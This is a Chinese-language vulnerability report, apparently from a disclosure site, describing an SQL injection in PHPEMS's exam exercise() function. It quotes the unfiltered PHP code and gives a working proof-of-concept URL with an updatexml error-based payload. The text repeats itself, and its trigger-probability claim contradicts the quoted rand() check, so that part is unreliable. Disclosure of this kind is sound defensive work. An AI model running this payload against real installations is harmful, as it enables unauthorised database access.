### 简要描述: PHPEMS一处SQL注入漏洞 ### 详细说明: 6.phpems某处存在SQL注入漏洞 存在注入漏洞的代码位置是/app/exam/app.php的exercise()函数中 具体代码在靠后的位置928行左右 $questionids = $this->question->selectQuestionsByKnows($args['knowsid'],$args['number'],$dt);//SQL注入漏洞 这里的参数$args['knowsid'] 回溯898行$args = $this->ev->get('args');可以从URL控制 然后进入函数 public function selectQuestionsByKnows($knowsid,$qt) { $knowsids = $knowsid; foreach($qt as $key => $t) { $par = 0; if(!$par) { $par++; $trand = rand(1,4); if($trand < 3) { $qrs = $this->getRandQuestionRowsList(array("quest2knows.qkknowsid IN ({$knowsids})","questionrows.qrtype = '{$key}'","questionrows.qrnumber <= '{$t}'")); if(count($qrs)) { $qrid = $qrs[array_rand($qrs,1)]; $questionrow[$key][] = $qrid; $qr = $this->exam->getQuestionRowsByArgs("qrid = '{$qrid}'"); $t = intval($t - $qr['qrnumber']); } 没有经过过滤,直接参与组成语句执行!验证之 注册用户登录之访问如下链接 localhost/ems/index.php?exam-app-exercise&setExecriseConfig=1&args[knowsid]=1,updatexml(1,user(),1)&args[number][1]=2 [<img...
### 简要描述: PHPEMS一处SQL注入漏洞 ### 详细说明: 6.phpems某处存在SQL注入漏洞 存在注入漏洞的代码位置是/app/exam/app.php的exercise()函数中 具体代码在靠后的位置928行左右 $questionids = $this->question->selectQuestionsByKnows($args['knowsid'],$args['number'],$dt);//SQL注入漏洞 这里的参数$args['knowsid'] 回溯898行$args = $this->ev->get('args');可以从URL控制 然后进入函数 public function selectQuestionsByKnows($knowsid,$qt) { $knowsids = $knowsid; foreach($qt as $key => $t) { $par = 0; if(!$par) { $par++; $trand = rand(1,4); if($trand < 3) { $qrs = $this->getRandQuestionRowsList(array("quest2knows.qkknowsid IN ({$knowsids})","questionrows.qrtype = '{$key}'","questionrows.qrnumber <= '{$t}'")); if(count($qrs)) { $qrid = $qrs[array_rand($qrs,1)]; $questionrow[$key][] = $qrid; $qr = $this->exam->getQuestionRowsByArgs("qrid = '{$qrid}'"); $t = intval($t - $qr['qrnumber']); } 没有经过过滤,直接参与组成语句执行!验证之 注册用户登录之访问如下链接 localhost/ems/index.php?exam-app-exercise&setExecriseConfig=1&args[knowsid]=1,updatexml(1,user(),1)&args[number][1]=2 [<img src="https://images.seebug.org/upload/201503/1218431248e2a1b68f418e6414af95af6e2ce380.png" alt="bbb.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1218431248e2a1b68f418e6414af95af6e2ce380.png) OK!没有任何问题!值得一说的,在执行过程中,里面有个函数放了一个rand(1,4)只有返回结果大于3才能触发这个漏洞,所以如果一次没有触发,可以多次刷新验证,理论上,75%的首次刷出率,哈哈 ### 漏洞证明: 注册用户登录之访问如下链接 localhost/ems/index.php?exam-app-exercise&setExecriseConfig=1&args[knowsid]=1,updatexml(1,user(),1)&args[number][1]=2 [<img src="https://images.seebug.org/upload/201503/1218431248e2a1b68f418e6414af95af6e2ce380.png" alt="bbb.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1218431248e2a1b68f418e6414af95af6e2ce380.png) OK!没有任何问题!值得一说的,在执行过程中,里面有个函数放了一个rand(1,4)只有返回结果大于3才能触发这个漏洞,所以如果一次没有触发,可以多次刷新验证,理论上,75%的首次刷出率,哈哈